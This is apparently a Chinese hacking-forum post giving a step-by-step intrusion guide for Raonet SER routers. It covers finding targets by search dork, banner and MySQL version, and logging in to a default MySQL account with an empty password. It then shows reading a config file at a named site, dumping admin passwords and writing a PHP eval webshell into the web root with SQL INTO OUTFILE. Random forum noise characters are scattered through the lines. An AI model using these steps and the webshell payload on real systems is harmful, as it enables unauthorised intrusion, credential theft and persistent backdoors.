寻找存在漏洞的路由器方法：+ C8 b0 h3 G9 |
h6 A; F& i' K$ Q: L8 q* \( q# ^1：google搜索'Raonet Subscriber Ethernet Router'+ `2 A" Q7 m, j! C5 ^
. p- j) P; \4 t8 G& \
2：使用WebDAVScan扫80端口，http banner为thttpd/2.21b 23apr2001
+ Y/ S' h. [: _! X2 z/ U8 Z: L/ E. i" A& I
3：扫mysql版本号判断,SER系列路由器使用的mysql版本4.0.14，默认有一个高权限的帐户mysql，口令为空。0 a7 g1 K P- M9 x' z
9 _; _% F z# s( w0 f" t6 W' a
//还有很多方法可以批量获取,这里不发了,请自食其力 公开了大家都玩不成......8 ~: Q+ J3 f8 n2 s) v! u/ @
& G0 Y- n( C& H+ }; p X
) l8 b7 K* b' K) K/ x1 b4 Q+ D
; t0 n3 T& e; @, f% Q入侵步骤：
3 S9 h6 ~+ w1 w: S& Z$ }8 t/ O$ t) O& M& v7 ]4 E
1.爆web路径，http://www.yu1u.org/src/jpgraph_line.php
$ _2 P6 r: K. P, {' R' }6 W$ Y- O: i1 K% M' T/ _
2:查看数据库配置文件，http://www.yu1u.org/inc/conn_db.inc
* y. |! b: ?" t3：得到密码后连接，查看GUI管理密码：7 {) H! h6 N+ B" q5 L$ @
use ser_500, s) q% ~: ?* F+ e5 w4 s; o! O
select id,passwd from user;
$ L, n2 B! _7 c& ?$ N2 y4:通过数据库写入webshell，执行命令：, X, g" n1 m7 J3 W: N% {
use mysql;$ X0 y6 B& n* |$ r1 U
create table ok(cmd TEXT);
+ d" T" L# m6 Z( Iinsert into ok values("<?php @eval($_POST[cmd])?>");
B5 m- k% i+ v' \select * from ok into outfile "\/usr\/local\/www\/data\/src\/shell.php";
% @' y; X' @$ v6 N: d7 _drop table ok;9 G9 n7 P; G+ F; l1 l; u
: }0 ^3 {, M# B6 z5:连接后门shell.php
) f2 y( ~% {" n& e& e4 e
; F q8 `& b7 g# V' o; a6 \7 R6. 搞定！
8 A* X$ T2 t! p% F3 {* o9 ]; ~7 S' q$ Q% J
|
发表于 2012-12-10 10:30:18
收藏
支持
反对
发表于 2013-7-27 20:06:50